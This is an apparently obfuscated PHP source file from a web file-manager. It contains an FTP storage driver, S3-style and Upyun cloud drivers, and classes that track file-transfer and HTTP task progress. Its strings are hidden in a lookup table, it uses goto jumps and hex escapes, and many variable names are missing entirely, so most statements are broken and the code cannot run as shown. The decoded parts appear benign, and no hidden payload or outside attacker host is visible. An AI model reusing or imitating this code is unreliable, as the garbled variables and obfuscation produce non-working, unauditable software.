Exception(LNG($[1433])); } $this->config = $; $this->charsetReset($); foreach ($ as $ᐄ => $䍱) { if (isset($this->{$ᐄ})) { $this->{$ᐄ} = $䍱; } } return $this->_login($); } private function _login($) { $ =& $_SERVER[]; static $ = array(); $ھ = md5(json_encode($)); if (isset($[$ھ])) { foreach ($[$ھ] as $ХѠ => $) { $this->{$ХѠ} = $; } return !0; } $ = parse_url(trim($this->server, $[8])); $this->host = $[$[208]]; $˩ = isset($[$[207]]) && $[$[207]] == $[1434] ? !0 : !1; $this->scheme = $˩ ? $[1435] : $[1436]; $this->port = isset($[$[209]]) ? $[$[209]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 30); if ($this->connect === !1) { $this->writeLog(LNG($[1437]) . $this->host . $[4] . $this->port, !0); return !1; } $ҁ = @ftp_login($this->connect, $this->username, $this->userpass); if (!$ҁ) { $this->writeLog(LNG($[1438]) . $this->username, !0); return !1; } @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $է = $this->pasv == $[91] ? !0 : !1; @ftp_pasv($this->connect, $է); $[$ھ] = array($[1439] => $this->connect, $[208] => $this->host, $[207] => $this->scheme, $[209] => $this->port); return $ҁ; } private function _isconn($莘 = true) { if (is_resource($this->connect)) { return !0; } if (!$莘) { return !1; } return $this->_login($this->config); } public function mkfile($՞, $ͫ = '', $ү = REPEAT_RENAME) { if ($this->setContent($՞, $ͫ)) { return $this->getPathOuter($՞); } $this->writeLog(LNG($_SERVER[][1440]), !0); return !1; } public function mkdir($, $È = REPEAT_SKIP) { $ =& $_SERVER[]; if (!$ || $ == $[8]) { return !0; } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); if ($this->_isFolder($) || @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } if (!$this->mkdir($this->pathFather($))) { return !1; } if ($ = @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1441], !0); return !1; } public function copyFile($, $Єθ) { if (!$this->_isconn()) { return !1; } $ą = $this->pathThis($this->iconvSystem($)); $샔޲ = $this->tempFile($ą); $ّ = $this->iconvApp($샔޲); $this->download($, $ّ); $ = $this->upload($Єθ, $ّ); $this->tempFileRemve($샔޲); return $; } public function moveFile($ד, $) { if (!$this->_isconn()) { return !1; } $ד = $this->iconvSystem($ד); $ = $this->iconvSystem($); $Dž՘ = @ftp_rename($this->connect, $ד, $); if (!$Dž՘) { $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } return $this->getPathOuter($); } public function delFile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = @ftp_delete($this->connect, $); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); } return $; } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ƛ = $¼ԅ = array(); $this->fileList($, $ƛ, $¼ԅ, !0); $this->listItemCache = !0; foreach ($¼ԅ as $٫) { $ = $this->iconvSystem($٫[$_SERVER[][32]]); $깊 = @ftp_delete($this->connect, $); if (!$깊) { return !1; } } foreach ($ƛ as $) { $ = $this->iconvSystem($); $깊 = @ftp_rmdir($this->connect, $); if (!$깊) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($, $ۈ) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ָ = $this->fileNameAuto($this->pathFather($), $ۈ); $ָ = $this->iconvSystem($ָ); $ = $this->iconvSystem($); $ڽ = $this->pathFather($); $޹ = rtrim($ڽ, $[8]) . $[8] . $ָ; $Դ = @ftp_rename($this->connect, $, $޹); if (!$Դ) { $this->writeLog(__FUNCTION__ . $[1441], !0); return !1; } $޹ = $this->iconvApp($޹); return $this->getPathOuter($޹); } private function folderInfo($撄, $䀽 = false) { $򝥒 =& $_SERVER[]; $τ = array($򝥒[32] => $this->pathThis($撄), $򝥒[87] => $this->getPathOuter($򝥒[8] . $撄), $򝥒[33] => $򝥒[78]); if ($䀽) { return $τ; } $τ[$򝥒[231]] = $τ[$򝥒[88]] = 0; $τ[$򝥒[232]] = $τ[$򝥒[233]] = !0; return $τ; } private function fileInfo($صն, $ʛ = false, $ = array()) { $娤 =& $_SERVER[]; $ = array($娤[32] => $this->pathThis($صն), $娤[87] => $this->getPathOuter($娤[8] . $صն), $娤[33] => $娤[230], $娤[79] => isset($[$娤[79]]) ? $[$娤[79]] : 0, $娤[169] => $this->ext($صն)); if ($ʛ) { return $; } $[$娤[231]] = $[$娤[88]] = 0; $[$娤[232]] = $[$娤[233]] = !0; $ = $this->iconvSystem($صն); $[$娤[88]] = @ftp_mdtm($this->connect, $); if (empty($)) { $ = $this->objectMeta($صն); if (!$) { return $; } } $[$娤[79]] = $[$娤[79]]; return $; } public function size($ۻ) { $Β = $this->objectMeta($ۻ); return $Β ? $Β[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($Ȧߝ, &$, &$ɏÉ, $ = false) { $ړ =& $_SERVER[]; $Ȧߝ = $this->iconvSystem($Ȧߝ); if (!$this->isFolder($Ȧߝ)) { return !1; } @ftp_chdir($this->connect, $ړ[8]); $Ȧߝ = rtrim($Ȧߝ, $ړ[8]) . $ړ[8]; check_abort(); $ = @ftp_rawlist($this->connect, $Ȧߝ); if (!$) { $ = array(); } $ = array($ړ[10] => 1, $ړ[1356] => 1); foreach ($ as $ՠ) { $ = $this->_listItem($ՠ); if ($[0] == $ړ[825]) { continue; } $褀 = $[8]; if (empty($褀) && $褀 !== $ړ[228] || isset($[$褀])) { continue; } $褀 = $this->iconvApp($Ȧߝ . ltrim($褀, $ړ[8])); $ދ = array($ړ[32] => $褀, $ړ[33] => $ړ[230], $ړ[79] => $[4]); if (substr($ՠ, 0, 1) == $ړ[1442]) { $ދ[$ړ[33]] = $ړ[78]; $ދ[$ړ[79]] = 0; } $ű = $ދ[$ړ[33]] == $ړ[78] ? !0 : !1; $this->cacheMethodInfoSet($褀, $ű, $ދ); if ($ű) { $[] = $褀; if ($) { $this->fileList($褀, $, $ɏÉ, $); } continue; } $ɏÉ[] = $ދ; } $this->cacheMethodInfoSet($Ȧߝ, !0); } private function _listItem($ހ) { if (empty($ހ)) { return array(); } $ = preg_split($_SERVER[][1443], $ހ); if (count($) <= 9) { return $; } $[8] = trim(substr($ހ, strpos($ހ, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($, $Ε = false) { $Į =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ݺ = $Μ = array(); $this->fileList($, $ݺ, $Μ); foreach ($ݺ as $ => $) { $ݺ[$] = $this->folderInfo($, $Ε); } foreach ($Μ as $ => $) { $Μ[$] = $this->fileInfo($[$Į[32]], $Ε, $); } return array($Į[85] => $ݺ, $Į[86] => $Μ); } public function has($紊, $港 = false, $ = true) { $۱ =& $_SERVER[]; $ѤҼ = $ = array(); $ = $港 ? !0 : !1; $this->fileList($紊, $ѤҼ, $, $); if ($港) { return array($۱[239] => count($), $۱[240] => count($ѤҼ)); } if ($) { if (count($)) { return !0; } } else { if (count($ѤҼ)) { return !0; } } return !1; } public function listAll($ނ) { $ͨ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($ނ, $, $, !0); $ = array_to_keyvalue($, $ͨ[32]); foreach ($ as $) { if (is_string($)) { $[$] = array($ͨ[79] => 0); } } return $this->listAllFiles($ނ, $); } public function getContent($˶) { if (!$this->_isconn()) { return !1; } $˶ = $this->iconvSystem($˶); return $this->fileSubstr($˶); } public function setContent($, $ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $嚾 = $this->tempFile($); file_put_contents($嚾, $); $ = $this->upload($, $this->iconvApp($嚾)); $this->tempFileRemve($嚾); return $; } public function fileSubstr($, $êܳ = 0, $뎈 = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $êܳ, $뎈); } private function ftpRequest($͡, $諵 = 0, $ = false) { $͡ = $this->iconvSystem($͡); $ = $this->scheme . $this->host . $_SERVER[][4] . $this->port; $ߠ = curl_init(); curl_setopt($ߠ, CURLOPT_URL, $ . $this->pathEncode($͡)); curl_setopt($ߠ, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($) { $׷ = $諵 + $ - 1; curl_setopt($ߠ, CURLOPT_RANGE, "{$諵}\55{$׷}"); } curl_setopt($ߠ, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($ߠ); curl_close($ߠ); return $; } public function upload($ǡ, $, $ = false, $͠ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($ǡ))) { return !1; } $ǡ = $this->iconvSystem($ǡ); $ = $this->iconvSystem($); $ޤ = ftp_nb_put($this->connect, $ǡ, $, FTP_BINARY); while ($ޤ == FTP_MOREDATA) { $ޤ = ftp_nb_continue($this->connect); } if ($ޤ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } return $this->getPathOuter($ǡ); } public function download($ݸ, $ = '') { if (!$this->_isconn()) { return !1; } $Щ = $this->pathFather($); if (!IO::mkdir($Щ)) { return !1; } $ݸ = $this->iconvSystem($ݸ); $ = $this->iconvSystem($); $ = ftp_nb_get($this->connect, $, $ݸ, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } return $this->iconvApp($); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($ݢ) { return $this->cacheMethod($_SERVER[][179], $ݢ); } protected function objectMeta($æϊ) { return $this->cacheMethod($_SERVER[][181], $æϊ); } protected function _objectMeta($) { $ǿ =& $_SERVER[]; if ($ == $ǿ[12] || $ == $ǿ[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = array($ǿ[32] => $this->iconvApp($), $ǿ[33] => $ǿ[230], $ǿ[79] => 0); @ftp_chdir($this->connect, $ǿ[8]); $Ȯڝ = @ftp_size($this->connect, $); if ($Ȯڝ != -1) { $[$ǿ[79]] = $Ȯڝ; } else { $ = @ftp_chdir($this->connect, $); if (!$) { return !1; } $[$ǿ[33]] = $ǿ[78]; } return $; } protected function _isFolder($) { $Գ =& $_SERVER[]; if ($ == $Գ[12] || $ == $Գ[8]) { return !0; } $֝ް = $this->_objectMeta($); return isset($֝ް[$Գ[33]]) && $֝ް[$Գ[33]] == $Գ[78] ? !0 : !1; } } class PathDriverJOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][247]); } public function uploadLink($ŀ, $̟ = 0) { $ʠ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $һ = $this->getType(); if (!in_array($һ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $Ж = (!$̟ ? 1 : ceil($̟ / pow(1024, 3))) * 3600 * 4; $ތ = $this->multiUploadFormData($ŀ, $Ж); if ($ތ) { $ތ[$ʠ[97]] = $ŀ; $ތ[$ʠ[98]] = $һ; } return $ތ; } public function fileOutImage($Å, $寚 = 250) { if ($this->size($Å) > 1024 * 1024 * 25) { return $this->fileOutImageServer($Å, $寚); } $۹ٲ = $this->link($Å); $۹ٲ .= $_SERVER[][1444] . $寚; $this->fileOutLink($۹ٲ); } public function fileOutLink($Ӥ) { $ =& $_SERVER[]; if (substr($Ӥ, 0, 7) == $[313]) { $Ӥ = $[314] . substr($Ӥ, 7); } header($[175] . $Ӥ); die; } } goto E; E: class TaskFileTransfer extends Task { protected function startAfter() { $ҳ =& $_SERVER[]; $鎖 =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($ҳ[1793], array($this, $ҳ[1794])); Hook::bind($ҳ[1301], array($this, $ҳ[1795])); Hook::bind($ҳ[1796], array($this, $ҳ[1797])); Hook::bind($ҳ[668], array($this, $ҳ[1798])); Hook::bind($ҳ[669], array($this, $ҳ[1799])); Hook::bind($ҳ[675], array($this, $ҳ[1800])); Hook::bind($ҳ[676], array($this, $ҳ[1801])); Hook::bind($ҳ[671], array($this, $ҳ[1802])); Hook::bind($ҳ[673], array($this, $ҳ[1803])); Hook::bind($ҳ[637], array($this, $ҳ[1804])); Hook::bind($ҳ[634], array($this, $ҳ[1804])); Hook::bind($ҳ[639], array($this, $ҳ[1804])); Hook::bind($ҳ[641], array($this, $ҳ[1804])); Hook::bind($ҳ[643], array($this, $ҳ[1804])); Hook::bind($ҳ[1805], array($this, $ҳ[1806])); Hook::bind($ҳ[659], array($this, $ҳ[1807])); $this->sourceModelCopyFlag = !1; Hook::bind($ҳ[1808], array($this, $ҳ[1809])); Hook::bind($ҳ[1810], array($this, $ҳ[1811])); Hook::bind($ҳ[1812], array($this, $ҳ[1813])); $鎖[$ҳ[1814]] = LNG($ҳ[1815]); $鎖[$ҳ[1816]] = 0; $鎖[$ҳ[1817]] = 0; $鎖[$ҳ[1136]] = $ҳ[12]; $鎖[$ҳ[1818]] = $ҳ[12]; $鎖[$ҳ[1819]] = 0; $鎖[$ҳ[1820]] = 0; $鎖[$ҳ[1821]] = 0; if (!$鎖[$ҳ[1652]]) { $鎖[$ҳ[1652]] = LNG($ҳ[1822]); } } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1793], array($this, $[1794])); Hook::unbind($[1301], array($this, $[1795])); Hook::unbind($[1796], array($this, $[1797])); Hook::unbind($[668], array($this, $[1798])); Hook::unbind($[669], array($this, $[1799])); Hook::unbind($[675], array($this, $[1800])); Hook::unbind($[676], array($this, $[1801])); Hook::unbind($[671], array($this, $[1802])); Hook::unbind($[673], array($this, $[1803])); Hook::unbind($[637], array($this, $[1804])); Hook::unbind($[634], array($this, $[1804])); Hook::unbind($[639], array($this, $[1804])); Hook::unbind($[641], array($this, $[1804])); Hook::unbind($[643], array($this, $[1804])); Hook::unbind($[1805], array($this, $[1806])); Hook::unbind($[659], array($this, $[1807])); Hook::unbind($[1808], array($this, $[1809])); Hook::unbind($[1810], array($this, $[1811])); Hook::unbind($[1812], array($this, $[1813])); } public function copyMoveStart($ތ, $˺Ŷ, $, $) { $Ӑɳ =& $_SERVER[]; self::log($Ӑɳ[1823] . $˺Ŷ . $Ӑɳ[73] . $); $ = rtrim(TEMP_FILES, $Ӑɳ[8]); if (substr($˺Ŷ, 0, strlen($)) == $) { return; } if (substr($, 0, strlen($)) == $) { return; } $ =& $this->task; $[$Ӑɳ[1824]] = KodIO::transferType($ތ, $); $this->update(); } public function updateAfter() { $˶ =& $_SERVER[]; $ =& $this->task; if (!$[$˶[830]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$˶[1824]] == $˶[1394]) { return; } self::updateTask($); } private static function updateTask(&$) { $ =& $_SERVER[]; if ($[$[1824]] == $[1272] || $[$[1824]] == $[110]) { if ($[$[1818]]) { $[$[1821]] = $[$[1820]] + $[$[1817]]; } } else { if ($[$[1824]] == $[1395]) { if ($[$[1818]] == $[1272]) { $[$[1821]] = $[$[1820]] + $[$[1817]] * 0.5; } else { if ($[$[1818]] == $[110]) { $[$[1821]] = $[$[1820]] + $[$[1816]] * 0.5 + $[$[1817]] * 0.5; } } } } $[$[1765]] = $[$[1821]] / $[$[830]]; if ($[$[1765]] > 0) { $懔 = timeFloat() - $[$[1767]] - $[$[1770]]; $[$[1771]] = $懔 * (1 - $[$[1765]]) / $[$[1765]]; } } public function addPath($) { $滨 =& $_SERVER[]; if (!$) { return; } $ =& $this->task; $󒄯 = IO::infoWithChildren($); $ = $[$滨[1825]] ? $[$滨[1825]][$滨[1826]] : 0; $[$滨[1825]] = array($滨[1826] => $ + 1, $滨[494] => $󒄯[$滨[32]], $滨[87] => $󒄯[$滨[87]], $滨[582] => $󒄯[$滨[582]] ? $󒄯[$滨[582]] : $󒄯[$滨[87]]); if ($󒄯[$滨[33]] == $滨[230]) { $[$滨[1134]] += 1; } else { $[$滨[1134]] += $󒄯[$滨[82]][$滨[80]]; if ($󒄯[$滨[193]]) { $[$滨[1134]] += $󒄯[$滨[82]][$滨[81]] + 1; } } $[$滨[830]] += $󒄯[$滨[79]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($Ģ) { } public function sourceAddHashEnd($Ǧ֦) { } public function sourceAddFileStart($枈ժ) { $ =& $_SERVER[]; $֕ =& $this->task; $֕[$[1816]] = $枈ժ[$[79]]; $֕[$[1814]] = $枈ժ[$[32]]; $֕[$[1136]] = $枈ժ[$[32]]; $֕[$[1827]] = $枈ժ[$[87]]; $this->update(); } public function sourceAddFileEnd($Ǜ) { $ =& $_SERVER[]; $ҽ =& $this->task; $ҽ[$[1821]] += $Ǜ[$[79]]; $ҽ[$[1827]] = $Ǜ[$[87]]; $this->update(1); } public function copyFileStart($恇, $, $շڇ, $ʎ, $, $) { $͋ =& $_SERVER[]; $ɏ = $; if ($ɏ == $GLOBALS[$͋[1828]]) { $ɏ = $GLOBALS[$͋[1829]]; } $GLOBALS[$͋[1829]] = $; $GLOBALS[$͋[1828]] = $; $ѭ =& $this->task; $ѭ[$͋[1814]] = $ɏ; $ѭ[$͋[1816]] = (int) $恇->size($); $ѭ[$͋[1817]] = 0; $ѭ[$͋[1136]] = $͋[12]; $ѭ[$͋[1818]] = $͋[12]; $ѭ[$͋[1819]] = 0; $ = $ѭ[$͋[1816]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($ѭ[$͋[475]] . $͋[1830]); if ($ && file_exists(get_path_father($ʎ))) { Cache::set($ѭ[$͋[475]] . $͋[1830], $ʎ); $ѭ[$͋[1787]] = array($͋[1831], $͋[1832]); } $this->update(0, $); } public static function updateCopyLocalFileSize($ե߽) { $奪 =& $_SERVER[]; $谾 = Cache::get($ե߽[$奪[475]] . $奪[1830]); if (!$谾 || !file_exists($谾)) { return $ե߽; } $ե߽[$奪[1817]] = @filesize($谾); $ե߽[$奪[1821]] += $ե߽[$奪[1817]]; self::updateTask($ե߽); return $ե߽; } public function copyFileEnd($ؠ, $, $ճػ, $, $ȋ, $έ) { $⨮߸ =& $_SERVER[]; $ =& $this->task; $[$⨮߸[1817]] = $[$⨮߸[1816]]; $[$⨮߸[1818]] = $⨮߸[12]; unset($[$⨮߸[1787]]); if ($ȋ == $[$⨮߸[1814]]) { $[$⨮߸[1820]] += $[$⨮߸[1816]]; $[$⨮߸[1821]] = $[$⨮߸[1820]]; $Ӽ = 1; if (isset($[$⨮߸[1827]]) && $[$⨮߸[1827]] == $) { $Ӽ = 0; } $this->update($Ӽ); } else { $this->update(); $[$⨮߸[1817]] = 0; } Cache::remove($[$⨮߸[475]] . $⨮߸[1830]); self::log($⨮߸[1833] . $ . $⨮߸[73] . $ . $⨮߸[262] . $ȋ . $⨮߸[1834] . $[$⨮߸[1814]]); } public function updateFileEnd($, $ě) { $¡ =& $_SERVER[]; $ɝѿ =& $this->task; $ɝѿ[$¡[1814]] = $; $ɝѿ[$¡[1816]] = $ě; $ɝѿ[$¡[1820]] += $ě; $ɝѿ[$¡[1821]] = $ɝѿ[$¡[1820]]; $this->update(1); self::log($¡[1835] . $); } public function sourceModelCopy($) { $֑ =& $_SERVER[]; $ = $[0]; $ = $[1]; $Ј =& $this->task; $this->sourceModelCopyFlag = !0; $̈́ = 0; switch ($) { case $֑[635]: $̈́ = 1; break; case $֑[638]: $Ј[$֑[1814]] = $[$֑[32]]; break; case $֑[640]: $̈́ = intval($[$֑[456]] * 0.4); break; case $֑[642]: $̈́ = intval($[$֑[456]] * 0.2); break; case $֑[644]: $̈́ = intval($[$֑[456]] * 0.4); break; } $this->update($̈́); $this->sourceModelCopyFlag = !1; } public function sourceRemove($̏, $䧇Э) { $Ŋ =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($̏[$Ŋ[82]])) { $ = $̏[$Ŋ[82]][$Ŋ[80]]; $ = $ + $̏[$Ŋ[82]][$Ŋ[81]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($Ţ) { $this->sourceRemove($Ţ, !1); } public function curlProgress($, $ьӆ, $Ա, $А, $ɋ) { $Ϯ =& $_SERVER[]; $΋ =& $this->task; if ($ɋ > 0) { $΋[$Ϯ[1136]] = $Ϯ[1836]; $΋[$Ϯ[1818]] = $Ϯ[110]; if ($΋[$Ϯ[1816]]) { $΋[$Ϯ[1817]] = $ɋ; } if ($΋[$Ϯ[1819]]) { $΋[$Ϯ[1817]] = $ɋ + $΋[$Ϯ[1819]]; } } else { if ($Ա > 0) { if ($΋[$Ϯ[1816]] == $ьӆ) { $΋[$Ϯ[1817]] = $Ա; $΋[$Ϯ[1136]] = $Ϯ[1837]; $΋[$Ϯ[1818]] = $Ϯ[1272]; } } } $this->update(); } public function curlProgressStart($ę) { } public function curlProgressEnd($) { $ =& $_SERVER[]; $Ɇ =& $this->task; $ꭖ = curl_getinfo($); $ᴊ = $ꭖ[$[1838]]; if ($ᴊ == -1) { $ᴊ = $ꭖ[$[1839]]; } if ($Ɇ[$[1818]] == $[110] && $ᴊ) { $Ɇ[$[1819]] += $ᴊ; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $ôǩ =& $_SERVER[]; $л¥ =& $this->task; $л¥[$ôǩ[1840]] = 1; Hook::bind($ôǩ[1808], array($this, $ôǩ[1841])); Hook::bind($ôǩ[1810], array($this, $ôǩ[1842])); Hook::bind($ôǩ[1812], array($this, $ôǩ[1843])); } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1808], array($this, $[1841])); Hook::unbind($[1810], array($this, $[1842])); Hook::unbind($[1812], array($this, $[1843])); } public function progressStart($) { $ =& $_SERVER[]; $Ղ = curl_getinfo($); self::log($[1844] . $Ղ[$[383]]); self::valueSet($this->task[$[475]], $this->task); } public function progressEnd($ՠ) { $ǵ =& $_SERVER[]; self::log($ǵ[1845] . $this->task[$ǵ[475]]); $this->end(); } public function progress($Ԏ, $ɓ, $, $, $) { $ݹ =& $_SERVER[]; $ߪ =& $this->task; if ($ > 0) { $ߪ[$ݹ[1134]] = $ߪ[$ݹ[1134]] == 0 ? $ : $ߪ[$ݹ[1134]]; $ߪ[$ݹ[1764]] = $; } else { if ($ > 0) { $ߪ[$ݹ[1134]] = $ߪ[$ݹ[1134]] == 0 ? $ɓ : $ߪ[$ݹ[1134]]; $ߪ[$ݹ[1764]] = $; } } $this->update(); self::log("\x70\x72\x6f\x67\162\x65\x73\x73\x48\164\164\160\x3a\144\157\167\x6e\72{$}\x2f{$ɓ}\73\x20\165\160\154\157\x61\x64\72{$}\57{$}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($ŏЉ, $ = '', $ = 0, $Ԛǯ = '') { $򗢬 =& $_SERVER[]; $Ԛǯ = $Ԛǯ ? $Ԛǯ : ($ ? $ : $ŏЉ); $耰 = new Task($ŏЉ, $, $, $Ԛǯ); $GLOBALS[$򗢬[1846] . $ŏЉ] = new TaskLog($򗢬[1747], $耰, $Ԛǯ); return $耰; } public function __construct($ͣ = '', $ʛ = '', $ = '') { $ŋ =& $_SERVER[]; if (!$ͣ) { $ͣ = $ŋ[1747]; } $ = $ͣ . $ŋ[462] . rand_string(10); if (!$) { $ = $ͣ . $ŋ[53] . $; } switch ($ͣ) { case $ŋ[1747]: if (!$ʛ || !$ʛ->task) { return echoLog($ͣ . $ŋ[1847]); } $ = $ʛ; $ = $->task[$ŋ[475]]; $ͣ = $->task[$ŋ[475]]; if (!$->task[$ŋ[1652]]) { $->task[$ŋ[1652]] = $ ? $ : $ͣ; } break; case $ŋ[1848]: if (!$ʛ) { return echoLog($ͣ . $ŋ[1849]); } $ = is_string($ʛ) ? array($ʛ) : $ʛ; $ = new TaskFileTransfer($, $ͣ, 0, $ ? $ : $[0]); foreach ($ as $پ) { $->addPath($پ); } break; case $ŋ[389]: if (!$ʛ) { return echoLog($ͣ . $ŋ[1849]); } $ = is_string($ʛ) ? array($ʛ) : $ʛ; $ = new TaskZip($, $ͣ, 0, $ ? $ : $[0]); foreach ($ as $پ) { $->addPath($پ); } break; case $ŋ[1292]: if (!$ʛ) { return echoLog($ͣ . $ŋ[1849]); } $ = new TaskUnZip($, $ͣ, 0, $ ? $ : $ʛ); if ($ʛ) { $->addFile($ʛ); } break; case $ŋ[152]: $ = new TaskHttp($, $ͣ); break; default: return; break; } $this->task = $; $this->taskID = $; Hook::bind($ŋ[1784], array($this, $ŋ[1850])); Hook::bind($ŋ[1786], array($this, $ŋ[1851])); Hook::bind($ŋ[1780], array($this, $ŋ[1852])); echoLog($ŋ[1853] . $->task[$ŋ[1652]]); } public function __destruct() { $this->end(); } public function end($͘ = '') { $Ξ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($͘); $this->task = !1; $this->taskID = !1; Hook::unbind($Ξ[1784], array($this, $Ξ[1850])); Hook::unbind($Ξ[1786], array($this, $Ξ[1851])); Hook::unbind($Ξ[1780], array($this, $Ξ[1852])); } public function taskUpdate($Ŧ) { $䏌 =& $_SERVER[]; if (!$Ŧ || $this->taskID != $Ŧ[$䏌[475]]) { return; } $ = 20; $ੲ = intval($Ŧ[$䏌[1765]] * $); $ = $䏌[176] . str_repeat($䏌[506], $ੲ) . $䏌[1085] . str_repeat($䏌[53], $ - $ੲ) . $䏌[178]; $؄ = $ . sprintf($䏌[1854], $Ŧ[$䏌[1765]] * 100) . $䏌[1855]; $ = $؄ . $Ŧ[$䏌[1764]] . $䏌[8] . $Ŧ[$䏌[1134]] . LNG($䏌[1856]); $ = $䏌[12]; if ($Ŧ[$䏌[1840]]) { $ = $؄ . size_format($Ŧ[$䏌[1764]]) . $䏌[8] . size_format($Ŧ[$䏌[1134]]); $ = size_format($Ŧ[$䏌[1766]]) . $䏌[1857]; } if ($Ŧ[$䏌[1136]]) { $Ŧ[$䏌[1814]] = $Ŧ[$䏌[1136]] . $䏌[53] . $Ŧ[$䏌[1814]]; } if ($Ŧ[$䏌[1814]]) { $߷ = $䏌[12]; if ($Ŧ[$䏌[1816]]) { $߷ = $䏌[50] . size_format($Ŧ[$䏌[1817]]) . $䏌[8] . size_format($Ŧ[$䏌[1816]]); } $ .= $Ŧ[$䏌[1814]] . $߷; } if ($Ŧ[$䏌[830]] && !$Ŧ[$䏌[1816]]) { $ .= $䏌[53] . size_format($Ŧ[$䏌[1821]]) . $䏌[8] . size_format($Ŧ[$䏌[830]]); } echoLog($ . $䏌[53] . $, !0); } public function taskEnd($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[475]]) { return; } $ = $ ? $[$[1764]] . $[8] . $[$[1134]] . LNG($[1856]) . $[74] : $[12]; echoLog($[1858] . $[$[1652]] . ($[$[526]] ? $[74] . $[$[526]] : $[12]) . $[74] . $ . $[1859] . sprintf($[925], timeFloat() - $[$[1767]]) . $[1779]); $this->end(); } public function taskKill($ɵ) { $â =& $_SERVER[]; if (!$ɵ || $this->taskID != $ɵ[$â[475]]) { return; } echoLog($â[1860] . $ɵ[$â[1652]]); } } goto bǏن; Dȸ: class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\164\x74\x70\x3a\x2f\x2f\x76\x30\x2e\x61\160\x69\x2e\x75\x70\x79\165\156\56\x63\x6f\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($Ͷ) { parent::__construct(); $this->_init($Ͷ); } public function _init($ơ) { $ =& $_SERVER[]; foreach ($ơ as $ë => $) { if (isset($this->{$ë})) { $this->{$ë} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($[1536] . LNG($[1455])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($ǒ, $ = "\x47\105\124") { $ =& $_SERVER[]; $η = gmdate($[1484]); $ݵާ = base64_encode(hash_hmac($[1537], "{$}\x26{$ǒ}\46{$η}", md5("{$this->userpass}"), !0)); $ = array("\101\165\x74\x68\x6f\x72\151\x7a\x61\164\151\x6f\156\72\x55\x50\x59\125\116\40{$this->username}\72{$ݵާ}", "\x44\x61\164\145\72{$η}"); return $; } public function ussRequest($, $қ = "\x47\x45\x54", $ۊ = false, $ = false, $ = false) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = "\x2f{$this->bucket}\x2f{$}"; $ = $this->ussHeaders($, $қ); if ($) { $ = array_merge($, $); } $刦 = url_request($this->endpoint . $, $қ, $ۊ, $, $); if (!$刦) { $ؒ = LNG($[1538]); $this->writeLog($ؒ); return array($[1290] => !1, $[1280] => $ؒ); } if (strtolower($қ) == $[227] || in_array($刦[$[1290]], array($[274], $[1539]))) { $ۊ = $刦[$[1540]]; } else { $ۊ = json_decode($刦[$[1280]], !0); if (!$ۊ) { $ۊ = $刦[$[1280]]; } else { if (!$刦[$[817]] && isset($ۊ[$[1541]])) { $ۊ = $ۊ[$[1541]]; } } } if (!$刦[$[817]]) { $this->writeLog($this->__errorMessage($ۊ)); } return array($[1290] => $刦[$[817]], $[1280] => $ۊ); } private function __errorMessage($贄) { $ =& $_SERVER[]; if (!$贄) { return $[12]; } static $ = null; if (!$) { $ = I18n::getType(); } if ($ != $[1494]) { return $贄; } $ = array($[1542] => $[1543], $[1544] => $[1545], $[1546] => $[1545], $[1547] => $[1548], $[1549] => $[1550], $[1551] => $[1552], $[1553] => $[1554]); return 